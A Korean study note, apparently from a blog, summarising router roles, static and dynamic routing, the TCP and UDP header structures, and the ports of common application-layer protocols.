- 논리적으로 분리된 둘 이상의 네트워크를 연결

- 로컬 네트워크에서 브로드캐스트를 차단하여 네트워크를 분리

- 패킷의 최적 경로를 찾기 위한 라우팅 테이블 구성

- 패킷을 목적지까지 가장 빠르게 보내는 길잡이 역할 담당

 

• 정적 라우팅

- 관리자 권한으로 특정 경로를 통해서만 패킷이 지날 수 있도록 설정

- 네트워크 변경사항이 발생하면 라우팅 테이블을 수동으로 직접 고쳐 야 함

- 보안이 중요한 경우 선호

• 정적 라우팅의 특징

- 초기에 관리자가 다양한 라우팅 정보를 분석한 최적의 경로 설정

- 라우팅 알고리즘을 통한 경로 설정이 이루어지지 않아 부하 감소

- 네트워크 환경 변화에 대한 능동적인 대처가 어려움

- 네트워크 환경 변화 시 관리자가 경로를 재산출하여 각 라우터에 제 공해야 함

- 비교적 환경 변화가 적은 형태의 네트워크에 적합

 

• 동적 라우팅

- 라우터가 네트워크 연결 상태를 스스로 파악하여 최적의 경로를 선 택해 전송

- 네트워크 연결 형태가 변경되어도 자동으로 문제를 해결

• 동적 라우팅의 특징

- 경로 설정이 실시간으로 이루어져 네트워크 환경 변화에 능동적으로 대처 가능

- 라우팅 알고리즘을 통해 자동으로 경로 설정이 이루어져 관리 쉬움

- 주기적인 라우팅 정보 송수신으로 인한 대역폭 낭비 초래

- 네트워크 환경 변화 시 라우터의 처리 부하 증가로 지연이 발생

- 수시로 환경이 변하는 형태의 네트워크에 적합

 

전송 계층 프로토콜

 TCP(Transmission Control Protocol)

- 연결 지향형 프로토콜

- IP와 함께 통신을 하는 데 반드시 필요한 가장 기본적인 프로토콜

• TCP의 특징 높은 신뢰성

- 가상 회선 연결 방식

- 연결의 설정과 해제

- 데이터 체크섬(Checksum)

- 시간 초과와 재전송

- 데이터 흐름 제어

 

TCP 패킷의 구조

Source port address (16 bits) Destination port address  (16 bits)
Sequence number  (32 bits)
Acknowledgment number  (32 bits)
HLEN  (4 bits) Reserved  (6 bits) URG ACK PSH PST SYN FIN Window size  (16 bits)
Checksum  (16 bits) Urgent pointer  (16 bits)
Options and padding  (up to 40 bytes)

 

 Source port address: 패킷의 출발지 포트 번호

 Destination port address: 패킷의 목적지 포트 번호

 Sequence number: 패킷의 순서 값(순서번호)

 Acknowledgment number: 통신 상대의 패킷 순서 값(확인응답번호)

 HLEN: TCP헤더를 4바이트 단위의 개수로 나타낸 것

 Reserved: 나중에 필요할 때 사용하려고 남겨둔 공간

 Window size: 상대방이 반드시 유지해야 하는 바이트 단위의 창 크기

 Checksum: 데이터 오류 검출을 위한 값

 Urgent pointer: 긴급 플래그 값이 설정되었을 때만 유효하며 세그먼트가 긴급 데이터를 포함하고 있을 때 사용 됨 세그먼트의 데이터 부분에서 마지막 긴급 바이트의 번호를 구하기 위하여 순서 번호에 이 번호가 더해짐

 Options and padding: 옵션의 종류와 길이, 데이터를 저장 / 옵션이 32bits가 안되면 나머지 비트를 0으로 채움

 

 

연결 설정 과정(Three-Way Handshaking)

연결 해제 과정

 

• UDP(User Datagram Protocol)

- 비연결 지향형 프로토콜

- 상대방이 보낸 응답을 확인하지 않아 네트워크에 부하를 주지 않음.

- 데이터 자체의 신뢰성이 없어 수신한 데이터의 무결성을 보장받지 못함

• UDP의 특징

- 비연결 지향형

- 네트워크 부하 감소

- 비신뢰성

- 전송된 데이터의 일부가 손실

 

UDP 패킷의 구조

Source port number (16 bits) Destination port number (16 bits)
Total length (16 bits) Checksum (16 bits)

 

 Source port number: 패킷의 출발지 포트 번호

 Destination port number: 패킷의 목적지 포트 번호

 Total length: UDP 헤더와 데이터 필드를 포함한 전체 패킷의 길이

 Checksum: 데이터 오류 검출을 위한 값

 

응용 계층 프로토콜

 FTP(File Transfer Protocol, 20,21): 파일 전송을 위한 가장 기본적인 프로토콜(클라이언트와 서버가 대화형으로 통신 가능)

 텔넷(Telnet, 23): 사용자가 원격에 있는 서버에 로그인하도록 TCP 연결을 설정

 SMTP(Simple Mail Transfer Protocol, 25): 메일 서비스

 DNS(Domain Name System, 53): 도메인 이름 주소를 통해 IP 주소를 확인할 수 있는 프로토콜

 TFTP(Trivial File Transfer Protocol, 69): 파일을 전송하는 프로토콜(UDP 패킷 사용)

 HTTP(HyperText Transfer Protocol, 80): 인터넷을 위해 사용하는 가장 기본적인 프로토콜

 POP3(110): 메일 서버로 전송된 메일을 확인할 때 사용하는 프로토콜

 IMAP(143): : POP3와 기본적으로 같으나, 메일을 읽은 후 메일이 서버 에 남음

 SNMP(Simple Network Management Protocol, 161): 네트워크 관리와 모니터링을 위한 프로토콜

1

+ Recent posts